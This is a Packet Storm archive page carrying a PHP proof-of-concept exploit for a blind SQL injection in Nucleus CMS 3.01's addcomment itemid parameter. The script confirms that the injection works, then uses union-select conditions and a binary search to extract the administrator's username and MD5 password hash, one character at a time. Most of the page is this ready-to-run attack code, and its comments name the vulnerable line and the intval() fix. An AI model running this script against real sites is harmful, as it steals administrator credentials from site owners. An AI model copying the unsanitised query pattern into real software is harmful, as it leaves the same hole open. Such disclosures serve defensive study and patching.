exploit the possibilities

nucleusCMSSQL.txt

nucleusCMSSQL.txt
Posted Jul 27, 2004
Authored by aCiDBiTS

Nucleus CMS version 3.01 addcoment/itemid SQL Injection Proof of Concept PHP exploit that dumps the username and md5 hash of the password for the administrator user.

tags | exploit, php, sql injection, proof of concept
MD5 | 5f33156ab09bacdd615e77aecfc99674

nucleusCMSSQL.txt

Change Mirror Download
#!/usr/bin/php

<?


// Nucleus CMS v3.01 addcoment/itemid SQL Injection Proof of Concept
// By aCiDBiTS acidbits@hotmail.com 24-July-2004
//
// Nucleus CMS (http://nucleuscms.org) is a weblog php+mysql application.
//
// This Proof of Concept dumps the username and MD5(password) of the admin
user placed at first position
// of members table. First of all checks if we can use "union select" or it
isn't patched and then if first
// member is admin.
//
// Usage (in my debian box):
// php4 -q nuc_addc_poc.php URL


// Vulnerability description
//
// In action.php, function addcoment, there's no user input sanization for
parameter itemid. In line 65:
// $blogid = getBlogIDFromItemID($post['itemid']);
// This allows to inject SQL to get data form the database.
//
// Solution
//
// Modify line 65 with:
// $blogid = getBlogIDFromItemID(intval($post['itemid']));




echo
"+-------------------------------------------------------------------+\n|
Nucleus CMS v3.01 addcoment/itemid SQL Injection Proof of Concept |\n| By
aCiDBiTS acidbits@hotmail.com 24-July-2004
|\n+-------------------------------------------------------------------+\n\n
";

if($argc<2) die("Usage: ".$argv[0]." URL\n\n");
$host=$argv[1];
if(substr($host,strlen($host)-1,1)!='/') $host.='/';

echo "Checking if vulnerable and \"union select\" works ... ";
if( test_cond("1") && !test_cond("0") ) echo "OK!\n";
else die( "It doesn't :-(\n\n" );

echo "Checking if first member of table is admin ... ";
if( test_cond("1") ) echo "OK!\n";
else die( "It's not :-(\n\n" );

echo "\nGetting username: ";
get_field("mname");
echo "\nGetting MD5(password): ";
get_field("mpassword");

die("\n\nDone!\n\n");


function get_field( $field )
{
$unval= "
0123456789ABCDEFGHIJKLMNOPRSTUVWXYZabcdefghijklmnopqrstuvwxyz";
$idx=1;
$min=0;
$max=strlen($unval);
while($min!=$max) {
$mid=$min+(($max-$min)/2);
if(
test_cond("ord(substring($field,$idx,1))=".ord(substr($unval,$mid,1))) ) {
$idx++;
echo substr($unval,$mid,1);
$min=0;
$max=strlen($unval);
if( !test_cond("ord(substring($field,$idx,1))") )
return;
} else {
if(
test_cond("ord(substring($field,$idx,1))<".ord(substr($unval,$mid,1))) )
$max=$mid;
else $min=$mid;
}
}
die( "\n\nUnexpected error!\n\n");
}


function test_cond( $cond )
{

$res=send_post("action=addcomment&url=index.php%3Fitemid%3D1&itemid=1+and+0+
union+select+1+from+nucleus_member+where+madmin+and+mnumber=1+and+".urlencod
e($cond)."&body=a&user=a&userid=");
if( eregi( "nucleus_ban", $res ) )
return 0;
else return 1;
}

function send_post($data)
{
global $host;
$ch=curl_init();
curl_setopt ($ch, CURLOPT_URL, $host."action.php" );
curl_setopt ($ch, CURLOPT_HEADER, 0);
curl_setopt ($ch, CURLOPT_RETURNTRANSFER,1);
curl_setopt ($ch, CURLOPT_POST, 1);
curl_setopt ($ch, CURLOPT_POSTFIELDS, $data );
$data=curl_exec ($ch);
curl_close ($ch);

return $data;
}

?>
Login or Register to add favorites

File Archive:

September 2020

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Sep 1st
    20 Files
  • 2
    Sep 2nd
    15 Files
  • 3
    Sep 3rd
    15 Files
  • 4
    Sep 4th
    4 Files
  • 5
    Sep 5th
    1 Files
  • 6
    Sep 6th
    1 Files
  • 7
    Sep 7th
    15 Files
  • 8
    Sep 8th
    27 Files
  • 9
    Sep 9th
    7 Files
  • 10
    Sep 10th
    16 Files
  • 11
    Sep 11th
    9 Files
  • 12
    Sep 12th
    0 Files
  • 13
    Sep 13th
    0 Files
  • 14
    Sep 14th
    25 Files
  • 15
    Sep 15th
    15 Files
  • 16
    Sep 16th
    15 Files
  • 17
    Sep 17th
    15 Files
  • 18
    Sep 18th
    12 Files
  • 19
    Sep 19th
    1 Files
  • 20
    Sep 20th
    1 Files
  • 21
    Sep 21st
    15 Files
  • 22
    Sep 22nd
    21 Files
  • 23
    Sep 23rd
    8 Files
  • 24
    Sep 24th
    15 Files
  • 25
    Sep 25th
    4 Files
  • 26
    Sep 26th
    0 Files
  • 27
    Sep 27th
    0 Files
  • 28
    Sep 28th
    0 Files
  • 29
    Sep 29th
    0 Files
  • 30
    Sep 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2020 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close